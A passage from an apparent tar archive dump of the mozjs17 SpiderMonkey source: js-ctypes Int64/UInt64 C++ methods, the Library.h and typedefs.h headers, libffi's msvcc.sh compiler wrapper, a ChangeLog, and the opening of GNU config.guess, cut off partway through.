JS_ASSERT(JS_GetClass(proto) == &sInt64ProtoClass); JSObject* result = Int64Base::Construct(cx, proto, i, false); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } bool Int64::IsInt64(JSObject* obj) { return JS_GetClass(obj) == &sInt64Class; } JSBool Int64::ToString(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!Int64::IsInt64(obj)) { JS_ReportError(cx, "not an Int64"); return JS_FALSE; } return Int64Base::ToString(cx, obj, argc, vp, false); } JSBool Int64::ToSource(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!Int64::IsInt64(obj)) { JS_ReportError(cx, "not an Int64"); return JS_FALSE; } return Int64Base::ToSource(cx, obj, argc, vp, false); } JSBool Int64::Compare(JSContext* cx, unsigned argc, jsval* vp) { jsval* argv = JS_ARGV(cx, vp); if (argc != 2 || JSVAL_IS_PRIMITIVE(argv[0]) || JSVAL_IS_PRIMITIVE(argv[1]) || !Int64::IsInt64(JSVAL_TO_OBJECT(argv[0])) || !Int64::IsInt64(JSVAL_TO_OBJECT(argv[1]))) { JS_ReportError(cx, "compare takes two Int64 arguments"); return JS_FALSE; } JSObject* obj1 = JSVAL_TO_OBJECT(argv[0]); JSObject* obj2 = JSVAL_TO_OBJECT(argv[1]); int64_t i1 = Int64Base::GetInt(obj1); int64_t i2 = Int64Base::GetInt(obj2); if (i1 == i2) JS_SET_RVAL(cx, vp, INT_TO_JSVAL(0)); else if (i1 < i2) JS_SET_RVAL(cx, vp, INT_TO_JSVAL(-1)); else JS_SET_RVAL(cx, vp, INT_TO_JSVAL(1)); return JS_TRUE; } #define LO_MASK ((uint64_t(1) << 32) - 1) #define INT64_LO(i) ((i) & LO_MASK) #define INT64_HI(i) ((i) >> 32) JSBool Int64::Lo(JSContext* cx, unsigned argc, jsval* vp) { jsval* argv = JS_ARGV(cx, vp); if (argc != 1 || JSVAL_IS_PRIMITIVE(argv[0]) || !Int64::IsInt64(JSVAL_TO_OBJECT(argv[0]))) { JS_ReportError(cx, "lo takes one Int64 argument"); return JS_FALSE; } JSObject* obj = JSVAL_TO_OBJECT(argv[0]); int64_t u = Int64Base::GetInt(obj); double d = uint32_t(INT64_LO(u)); jsval result = JS_NumberValue(d); JS_SET_RVAL(cx, vp, result); return JS_TRUE; } JSBool Int64::Hi(JSContext* cx, unsigned argc, jsval* vp) { jsval* argv = JS_ARGV(cx, vp); if (argc != 1 || JSVAL_IS_PRIMITIVE(argv[0]) || !Int64::IsInt64(JSVAL_TO_OBJECT(argv[0]))) { JS_ReportError(cx, "hi takes one Int64 argument"); return JS_FALSE; } JSObject* obj = JSVAL_TO_OBJECT(argv[0]); int64_t u = Int64Base::GetInt(obj); double d = int32_t(INT64_HI(u)); jsval result = JS_NumberValue(d); JS_SET_RVAL(cx, vp, result); return JS_TRUE; } JSBool Int64::Join(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 2) { JS_ReportError(cx, "join takes two arguments"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); int32_t hi; uint32_t lo; if (!jsvalToInteger(cx, argv[0], &hi)) return TypeError(cx, "int32", argv[0]); if (!jsvalToInteger(cx, argv[1], &lo)) return TypeError(cx, "uint32", argv[1]); int64_t i = (int64_t(hi) << 32) + int64_t(lo); // Get Int64.prototype from the function's reserved slot. JSObject* callee = JSVAL_TO_OBJECT(JS_CALLEE(cx, vp)); jsval slot = js::GetFunctionNativeReserved(callee, SLOT_FN_INT64PROTO); RootedObject proto(cx, JSVAL_TO_OBJECT(slot)); JS_ASSERT(JS_GetClass(proto) == &sInt64ProtoClass); JSObject* result = Int64Base::Construct(cx, proto, i, false); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } JSBool UInt64::Construct(JSContext* cx, unsigned argc, jsval* vp) { CallArgs args = CallArgsFromVp(argc, vp); // Construct and return a new UInt64 object. if (argc != 1) { JS_ReportError(cx, "UInt64 takes one argument"); return JS_FALSE; } uint64_t u = 0; if (!jsvalToBigInteger(cx, args[0], true, &u)) return TypeError(cx, "uint64", args[0]); // Get ctypes.UInt64.prototype from the 'prototype' property of the ctor. jsval slot; RootedObject callee(cx, &args.callee()); ASSERT_OK(JS_GetProperty(cx, callee, "prototype", &slot)); RootedObject proto(cx, JSVAL_TO_OBJECT(slot)); JS_ASSERT(JS_GetClass(proto) == &sUInt64ProtoClass); JSObject* result = Int64Base::Construct(cx, proto, u, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } bool UInt64::IsUInt64(JSObject* obj) { return JS_GetClass(obj) == &sUInt64Class; } JSBool UInt64::ToString(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!UInt64::IsUInt64(obj)) { JS_ReportError(cx, "not a UInt64"); return JS_FALSE; } return Int64Base::ToString(cx, obj, argc, vp, true); } JSBool UInt64::ToSource(JSContext* cx, unsigned argc, jsval* vp) { JSObject* obj = JS_THIS_OBJECT(cx, vp); if (!obj) return JS_FALSE; if (!UInt64::IsUInt64(obj)) { JS_ReportError(cx, "not a UInt64"); return JS_FALSE; } return Int64Base::ToSource(cx, obj, argc, vp, true); } JSBool UInt64::Compare(JSContext* cx, unsigned argc, jsval* vp) { jsval* argv = JS_ARGV(cx, vp); if (argc != 2 || JSVAL_IS_PRIMITIVE(argv[0]) || JSVAL_IS_PRIMITIVE(argv[1]) || !UInt64::IsUInt64(JSVAL_TO_OBJECT(argv[0])) || !UInt64::IsUInt64(JSVAL_TO_OBJECT(argv[1]))) { JS_ReportError(cx, "compare takes two UInt64 arguments"); return JS_FALSE; } JSObject* obj1 = JSVAL_TO_OBJECT(argv[0]); JSObject* obj2 = JSVAL_TO_OBJECT(argv[1]); uint64_t u1 = Int64Base::GetInt(obj1); uint64_t u2 = Int64Base::GetInt(obj2); if (u1 == u2) JS_SET_RVAL(cx, vp, INT_TO_JSVAL(0)); else if (u1 < u2) JS_SET_RVAL(cx, vp, INT_TO_JSVAL(-1)); else JS_SET_RVAL(cx, vp, INT_TO_JSVAL(1)); return JS_TRUE; } JSBool UInt64::Lo(JSContext* cx, unsigned argc, jsval* vp) { jsval* argv = JS_ARGV(cx, vp); if (argc != 1 || JSVAL_IS_PRIMITIVE(argv[0]) || !UInt64::IsUInt64(JSVAL_TO_OBJECT(argv[0]))) { JS_ReportError(cx, "lo takes one UInt64 argument"); return JS_FALSE; } JSObject* obj = JSVAL_TO_OBJECT(argv[0]); uint64_t u = Int64Base::GetInt(obj); double d = uint32_t(INT64_LO(u)); jsval result = JS_NumberValue(d); JS_SET_RVAL(cx, vp, result); return JS_TRUE; } JSBool UInt64::Hi(JSContext* cx, unsigned argc, jsval* vp) { jsval* argv = JS_ARGV(cx, vp); if (argc != 1 || JSVAL_IS_PRIMITIVE(argv[0]) || !UInt64::IsUInt64(JSVAL_TO_OBJECT(argv[0]))) { JS_ReportError(cx, "hi takes one UInt64 argument"); return JS_FALSE; } JSObject* obj = JSVAL_TO_OBJECT(argv[0]); uint64_t u = Int64Base::GetInt(obj); double d = uint32_t(INT64_HI(u)); jsval result = JS_NumberValue(d); JS_SET_RVAL(cx, vp, result); return JS_TRUE; } JSBool UInt64::Join(JSContext* cx, unsigned argc, jsval* vp) { if (argc != 2) { JS_ReportError(cx, "join takes two arguments"); return JS_FALSE; } jsval* argv = JS_ARGV(cx, vp); uint32_t hi; uint32_t lo; if (!jsvalToInteger(cx, argv[0], &hi)) return TypeError(cx, "uint32_t", argv[0]); if (!jsvalToInteger(cx, argv[1], &lo)) return TypeError(cx, "uint32_t", argv[1]); uint64_t u = (uint64_t(hi) << 32) + uint64_t(lo); // Get UInt64.prototype from the function's reserved slot. JSObject* callee = JSVAL_TO_OBJECT(JS_CALLEE(cx, vp)); jsval slot = js::GetFunctionNativeReserved(callee, SLOT_FN_INT64PROTO); RootedObject proto(cx, JSVAL_TO_OBJECT(slot)); JS_ASSERT(JS_GetClass(proto) == &sUInt64ProtoClass); JSObject* result = Int64Base::Construct(cx, proto, u, true); if (!result) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(result)); return JS_TRUE; } } } mozjs17.0.0/js/src/ctypes/Library.h0000664000175000017500000000136612106270662017075 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef LIBRARY_H #define LIBRARY_H #include "jsapi.h" struct PRLibrary; namespace js { namespace ctypes { enum LibrarySlot { SLOT_LIBRARY = 0, LIBRARY_SLOTS }; namespace Library { JSBool Name(JSContext* cx, unsigned argc, jsval *vp); JSObject* Create(JSContext* cx, jsval path, JSCTypesCallbacks* callbacks); bool IsLibrary(JSObject* obj); PRLibrary* GetLibrary(JSObject* obj); JSBool Open(JSContext* cx, unsigned argc, jsval* vp); } } } #endif mozjs17.0.0/js/src/ctypes/typedefs.h0000664000175000017500000001356412106270662017317 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * This header contains the builtin types available for arguments and return * values, representing their C counterparts. They are listed inside macros * that the #includer is expected to #define. Format is: * * DEFINE_X_TYPE(typename, ctype, ffitype) * * where 'typename' is the name of the type constructor (accessible as * ctypes.typename), 'ctype' is the corresponding C type declaration (from * which sizeof(ctype) and templated type conversions will be derived), and * 'ffitype' is the ffi_type to use. (Special types, such as 'void' and the * pointer, array, and struct types are handled separately.) */ // If we're not breaking the types out, combine them together under one // DEFINE_TYPE macro. Otherwise, turn off whichever ones we're not using. #if defined(DEFINE_TYPE) # define DEFINE_CHAR_TYPE(x, y, z) DEFINE_TYPE(x, y, z) # define DEFINE_JSCHAR_TYPE(x, y, z) DEFINE_TYPE(x, y, z) # define DEFINE_BOOL_TYPE(x, y, z) DEFINE_TYPE(x, y, z) # define DEFINE_INT_TYPE(x, y, z) DEFINE_TYPE(x, y, z) # define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_TYPE(x, y, z) # define DEFINE_FLOAT_TYPE(x, y, z) DEFINE_TYPE(x, y, z) #else # ifndef DEFINE_BOOL_TYPE # define DEFINE_BOOL_TYPE(x, y, z) # endif # ifndef DEFINE_CHAR_TYPE # define DEFINE_CHAR_TYPE(x, y, z) # endif # ifndef DEFINE_JSCHAR_TYPE # define DEFINE_JSCHAR_TYPE(x, y, z) # endif # ifndef DEFINE_INT_TYPE # define DEFINE_INT_TYPE(x, y, z) # endif # ifndef DEFINE_WRAPPED_INT_TYPE # define DEFINE_WRAPPED_INT_TYPE(x, y, z) # endif # ifndef DEFINE_FLOAT_TYPE # define DEFINE_FLOAT_TYPE(x, y, z) # endif #endif // MSVC doesn't have ssize_t. Help it along a little. #ifdef HAVE_SSIZE_T #define CTYPES_SSIZE_T ssize_t #else #define CTYPES_SSIZE_T intptr_t #endif // Some #defines to make handling of types whose length varies by platform // easier. These could be implemented as configure tests, but the expressions // are all statically resolvable so there's no need. (See CTypes.cpp for the // appropriate PR_STATIC_ASSERTs; they can't go here since this header is // used in places where such asserts are illegal.) #define CTYPES_FFI_BOOL (sizeof(bool) == 1 ? ffi_type_uint8 : ffi_type_uint32) #define CTYPES_FFI_LONG (sizeof(long) == 4 ? ffi_type_sint32 : ffi_type_sint64) #define CTYPES_FFI_ULONG (sizeof(long) == 4 ? ffi_type_uint32 : ffi_type_uint64) #define CTYPES_FFI_SIZE_T (sizeof(size_t) == 4 ? ffi_type_uint32 : ffi_type_uint64) #define CTYPES_FFI_SSIZE_T (sizeof(size_t) == 4 ? ffi_type_sint32 : ffi_type_sint64) #define CTYPES_FFI_OFF_T (sizeof(off_t) == 4 ? ffi_type_sint32 : ffi_type_sint64) #define CTYPES_FFI_INTPTR_T (sizeof(uintptr_t) == 4 ? ffi_type_sint32 : ffi_type_sint64) #define CTYPES_FFI_UINTPTR_T (sizeof(uintptr_t) == 4 ? ffi_type_uint32 : ffi_type_uint64) // The meat. DEFINE_BOOL_TYPE (bool, bool, CTYPES_FFI_BOOL) DEFINE_INT_TYPE (int8_t, int8_t, ffi_type_sint8) DEFINE_INT_TYPE (int16_t, int16_t, ffi_type_sint16) DEFINE_INT_TYPE (int32_t, int32_t, ffi_type_sint32) DEFINE_INT_TYPE (uint8_t, uint8_t, ffi_type_uint8) DEFINE_INT_TYPE (uint16_t, uint16_t, ffi_type_uint16) DEFINE_INT_TYPE (uint32_t, uint32_t, ffi_type_uint32) DEFINE_INT_TYPE (short, short, ffi_type_sint16) DEFINE_INT_TYPE (unsigned_short, unsigned short, ffi_type_uint16) DEFINE_INT_TYPE (int, int, ffi_type_sint32) DEFINE_INT_TYPE (unsigned_int, unsigned int, ffi_type_uint32) DEFINE_WRAPPED_INT_TYPE(int64_t, int64_t, ffi_type_sint64) DEFINE_WRAPPED_INT_TYPE(uint64_t, uint64_t, ffi_type_uint64) DEFINE_WRAPPED_INT_TYPE(long, long, CTYPES_FFI_LONG) DEFINE_WRAPPED_INT_TYPE(unsigned_long, unsigned long, CTYPES_FFI_ULONG) DEFINE_WRAPPED_INT_TYPE(long_long, long long, ffi_type_sint64) DEFINE_WRAPPED_INT_TYPE(unsigned_long_long, unsigned long long, ffi_type_uint64) DEFINE_WRAPPED_INT_TYPE(size_t, size_t, CTYPES_FFI_SIZE_T) DEFINE_WRAPPED_INT_TYPE(ssize_t, CTYPES_SSIZE_T, CTYPES_FFI_SSIZE_T) DEFINE_WRAPPED_INT_TYPE(off_t, off_t, CTYPES_FFI_OFF_T) DEFINE_WRAPPED_INT_TYPE(intptr_t, intptr_t, CTYPES_FFI_INTPTR_T) DEFINE_WRAPPED_INT_TYPE(uintptr_t, uintptr_t, CTYPES_FFI_UINTPTR_T) DEFINE_FLOAT_TYPE (float32_t, float, ffi_type_float) DEFINE_FLOAT_TYPE (float64_t, double, ffi_type_double) DEFINE_FLOAT_TYPE (float, float, ffi_type_float) DEFINE_FLOAT_TYPE (double, double, ffi_type_double) DEFINE_CHAR_TYPE (char, char, ffi_type_uint8) DEFINE_CHAR_TYPE (signed_char, signed char, ffi_type_sint8) DEFINE_CHAR_TYPE (unsigned_char, unsigned char, ffi_type_uint8) DEFINE_JSCHAR_TYPE (jschar, jschar, ffi_type_uint16) #undef CTYPES_SSIZE_T #undef CTYPES_FFI_BOOL #undef CTYPES_FFI_LONG #undef CTYPES_FFI_ULONG #undef CTYPES_FFI_SIZE_T #undef CTYPES_FFI_SSIZE_T #undef CTYPES_FFI_INTPTR_T #undef CTYPES_FFI_UINTPTR_T #undef DEFINE_TYPE #undef DEFINE_CHAR_TYPE #undef DEFINE_JSCHAR_TYPE #undef DEFINE_BOOL_TYPE #undef DEFINE_INT_TYPE #undef DEFINE_WRAPPED_INT_TYPE #undef DEFINE_FLOAT_TYPE mozjs17.0.0/js/src/ctypes/libffi/0000775000175000017500000000000012106270662016545 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/msvcc.sh0000775000175000017500000000655012106270662020225 0ustar sstanglsstangl#!/bin/sh # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # # GCC-compatible wrapper for cl.exe and ml.exe. Arguments are given in GCC # format and translated into something sensible for cl or ml. # args="-nologo -W3" md=-MD cl="cl" ml="ml" safeseh="-safeseh" output= while [ $# -gt 0 ] do case $1 in -fexceptions) # Don't enable exceptions for now. #args="$args -EHac" shift 1 ;; -m32) shift 1 ;; -m64) cl="cl" # "$MSVC/x86_amd64/cl" ml="ml64" # "$MSVC/x86_amd64/ml64" safeseh= shift 1 ;; -O0) args="$args -Od" shift 1 ;; -O*) # If we're optimizing, make sure we explicitly turn on some optimizations # that are implicitly disabled by debug symbols (-Zi). args="$args $1 -OPT:REF -OPT:ICF -INCREMENTAL:NO" shift 1 ;; -g) # Enable debug symbol generation. args="$args -Zi -DEBUG" shift 1 ;; -DFFI_DEBUG) # Link against debug CRT and enable runtime error checks. args="$args -RTC1" defines="$defines $1" md=-MDd shift 1 ;; -c) args="$args -c" args="$(echo $args | sed 's%/Fe%/Fo%g')" single="-c" shift 1 ;; -D*=*) name="$(echo $1|sed 's/-D\([^=][^=]*\)=.*/\1/g')" value="$(echo $1|sed 's/-D[^=][^=]*=//g')" args="$args -D${name}='$value'" defines="$defines -D${name}='$value'" shift 1 ;; -D*) args="$args $1" defines="$defines $1" shift 1 ;; -I) args="$args -I$2" includes="$includes -I$2" shift 2 ;; -I*) args="$args $1" includes="$includes $1" shift 1 ;; -W|-Wextra) # TODO map extra warnings shift 1 ;; -Wall) # -Wall on MSVC is overzealous, and we already build with -W3. Nothing # to do here. shift 1 ;; -Werror) args="$args -WX" shift 1 ;; -W*) # TODO map specific warnings shift 1 ;; -S) args="$args -FAs" shift 1 ;; -o) outdir="$(dirname $2)" base="$(basename $2|sed 's/\.[^.]*//g')" if [ -n "$single" ]; then output="-Fo$2" else output="-Fe$2" fi if [ -n "$assembly" ]; then args="$args $output" else args="$args $output -Fd$outdir/$base -Fp$outdir/$base -Fa$outdir/$base" fi shift 2 ;; *.S) src=$1 assembly="true" shift 1 ;; *.c) args="$args $1" shift 1 ;; *) # Assume it's an MSVC argument, and pass it through. args="$args $1" shift 1 ;; esac done if [ -n "$assembly" ]; then if [ -z "$outdir" ]; then outdir="." fi ppsrc="$outdir/$(basename $src|sed 's/.S$/.asm/g')" echo "$cl -nologo -EP $includes $defines $src > $ppsrc" "$cl" -nologo -EP $includes $defines $src > $ppsrc || exit $? output="$(echo $output | sed 's%/F[dpa][^ ]*%%g')" args="-nologo $safeseh $single $output $ppsrc" echo "$ml $args" eval "\"$ml\" $args" result=$? # required to fix ml64 broken output? #mv *.obj $outdir else args="$md $args" echo "$cl $args" eval "\"$cl\" $args" result=$? fi exit $result mozjs17.0.0/js/src/ctypes/libffi/ChangeLog.libgcj0000664000175000017500000000211712106270662021551 0ustar sstanglsstangl2004-01-14 Kelley Cook * configure.in: Add in AC_PREREQ(2.13) 2003-02-20 Alexandre Oliva * configure.in: Propagate ORIGINAL_LD_FOR_MULTILIBS to config.status. * configure: Rebuilt. 2002-01-27 Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Mon Aug 9 18:33:38 1999 Rainer Orth * include/Makefile.in: Rebuilt. * Makefile.in: Rebuilt * Makefile.am (toolexeclibdir): Add $(MULTISUBDIR) even for native builds. Use USE_LIBDIR. * configure: Rebuilt. * configure.in (USE_LIBDIR): Define for native builds. Use lowercase in configure --help explanations. 1999-08-08 Anthony Green * include/ffi.h.in (FFI_FN): Remove `...'. 1999-08-08 Anthony Green * Makefile.in: Rebuilt. * Makefile.am (AM_CFLAGS): Compile with -fexceptions. * src/x86/sysv.S: Add exception handling metadata. mozjs17.0.0/js/src/ctypes/libffi/config.guess0000775000175000017500000012745312106270662021101 0ustar sstanglsstangl#! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 # Free Software Foundation, Inc. timestamp='2009-11-19' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA # 02110-1301, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Per Bothner. Please send patches (context # diff format) to and include a ChangeLog # entry. # # This script attempts to guess a canonical system name similar to # config.sub. If it succeeds, it prints the system name on stdout, and # exits with 0. Otherwise, it exits with 1. # # You can get the latest version of this script from: # http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] Output the configuration name of the system \`$me' is run on. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.guess ($timestamp) Originally written by Per Bothner. Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" >&2 exit 1 ;; * ) break ;; esac done if test $# != 0; then echo "$me: too many arguments$help" >&2 exit 1 fi trap 'exit 1' 1 2 15 # CC_FOR_BUILD -- compiler used by this script. Note that the use of a # compiler to aid in system detection is discouraged as it requires # temporary files to be created and, as you can see below, it is a # headache to deal with in a portable fashion. # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still # use `HOST_CC' if defined, but it is deprecated. # Portable tmp directory creation inspired by the Autoconf team. set_cc_for_build=' trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; : ${TMPDIR=/tmp} ; { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; dummy=$tmp/dummy ; tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; case $CC_FOR_BUILD,$HOST_CC,$CC in ,,) echo "int x;" > $dummy.c ; for c in cc gcc c89 c99 ; do if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then CC_FOR_BUILD="$c"; break ; fi ; done ; if test x"$CC_FOR_BUILD" = x ; then CC_FOR_BUILD=no_compiler_found ; fi ;; ,,*) CC_FOR_BUILD=$CC ;; ,*,*) CC_FOR_BUILD=$HOST_CC ;; esac ; set_cc_for_build= ;' # This is needed to find uname on a Pyramid OSx when run in the BSD universe. # (ghazi@noc.rutgers.edu 1994-08-24) if (test -f /.attbin/uname) >/dev/null 2>&1 ; then PATH=$PATH:/.attbin ; export PATH fi UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown # Note: order is significant - the case branches are not exclusive. case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in *:NetBSD:*:*) # NetBSD (nbsd) targets should (where applicable) match one or # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently # switched to ELF, *-*-netbsd* would select the old # object file format. This provides both forward # compatibility and a consistent mechanism for selecting the # object file format. # # Note: NetBSD doesn't particularly care about the vendor # portion of the name. We always set it to "unknown". sysctl="sysctl -n hw.machine_arch" UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ /usr/sbin/$sysctl 2>/dev/null || echo unknown)` case "${UNAME_MACHINE_ARCH}" in armeb) machine=armeb-unknown ;; arm*) machine=arm-unknown ;; sh3el) machine=shl-unknown ;; sh3eb) machine=sh-unknown ;; sh5el) machine=sh5le-unknown ;; *) machine=${UNAME_MACHINE_ARCH}-unknown ;; esac # The Operating System including object format, if it has switched # to ELF recently, or will in the future. case "${UNAME_MACHINE_ARCH}" in arm*|i386|m68k|ns32k|sh3*|sparc|vax) eval $set_cc_for_build if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ELF__ then # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). # Return netbsd for either. FIX? os=netbsd else os=netbsdelf fi ;; *) os=netbsd ;; esac # The OS release # Debian GNU/NetBSD machines have a different userland, and # thus, need a distinct triplet. However, they do not need # kernel version information, so it can be replaced with a # suitable tag, in the style of linux-gnu. case "${UNAME_VERSION}" in Debian*) release='-gnu' ;; *) release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` ;; esac # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: # contains redundant information, the shorter form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. echo "${machine}-${os}${release}" exit ;; *:OpenBSD:*:*) UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'` echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE} exit ;; *:ekkoBSD:*:*) echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} exit ;; *:SolidBSD:*:*) echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE} exit ;; macppc:MirBSD:*:*) echo powerpc-unknown-mirbsd${UNAME_RELEASE} exit ;; *:MirBSD:*:*) echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} exit ;; alpha:OSF1:*:*) case $UNAME_RELEASE in *4.0) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` ;; *5.*) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` ;; esac # According to Compaq, /usr/sbin/psrinfo has been available on # OSF/1 and Tru64 systems produced since 1995. I hope that # covers most systems running today. This code pipes the CPU # types through head -n 1, so we only detect the type of CPU 0. ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` case "$ALPHA_CPU_TYPE" in "EV4 (21064)") UNAME_MACHINE="alpha" ;; "EV4.5 (21064)") UNAME_MACHINE="alpha" ;; "LCA4 (21066/21068)") UNAME_MACHINE="alpha" ;; "EV5 (21164)") UNAME_MACHINE="alphaev5" ;; "EV5.6 (21164A)") UNAME_MACHINE="alphaev56" ;; "EV5.6 (21164PC)") UNAME_MACHINE="alphapca56" ;; "EV5.7 (21164PC)") UNAME_MACHINE="alphapca57" ;; "EV6 (21264)") UNAME_MACHINE="alphaev6" ;; "EV6.7 (21264A)") UNAME_MACHINE="alphaev67" ;; "EV6.8CB (21264C)") UNAME_MACHINE="alphaev68" ;; "EV6.8AL (21264B)") UNAME_MACHINE="alphaev68" ;; "EV6.8CX (21264D)") UNAME_MACHINE="alphaev68" ;; "EV6.9A (21264/EV69A)") UNAME_MACHINE="alphaev69" ;; "EV7 (21364)") UNAME_MACHINE="alphaev7" ;; "EV7.9 (21364A)") UNAME_MACHINE="alphaev79" ;; esac # A Pn.n version is a patched version. # A Vn.n version is a released version. # A Tn.n version is a released field test version. # A Xn.n version is an unreleased experimental baselevel. # 1.2 uses "1.2" for uname -r. echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` exit ;; Alpha\ *:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # Should we change UNAME_MACHINE based on the output of uname instead # of the specific Alpha model? echo alpha-pc-interix exit ;; 21064:Windows_NT:50:3) echo alpha-dec-winnt3.5 exit ;; Amiga*:UNIX_System_V:4.0:*) echo m68k-unknown-sysv4 exit ;; *:[Aa]miga[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-amigaos exit ;; *:[Mm]orph[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-morphos exit ;; *:OS/390:*:*) echo i370-ibm-openedition exit ;; *:z/VM:*:*) echo s390-ibm-zvmoe exit ;; *:OS400:*:*) echo powerpc-ibm-os400 exit ;; arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) echo arm-acorn-riscix${UNAME_RELEASE} exit ;; arm:riscos:*:*|arm:RISCOS:*:*) echo arm-unknown-riscos exit ;; SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) echo hppa1.1-hitachi-hiuxmpp exit ;; Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | 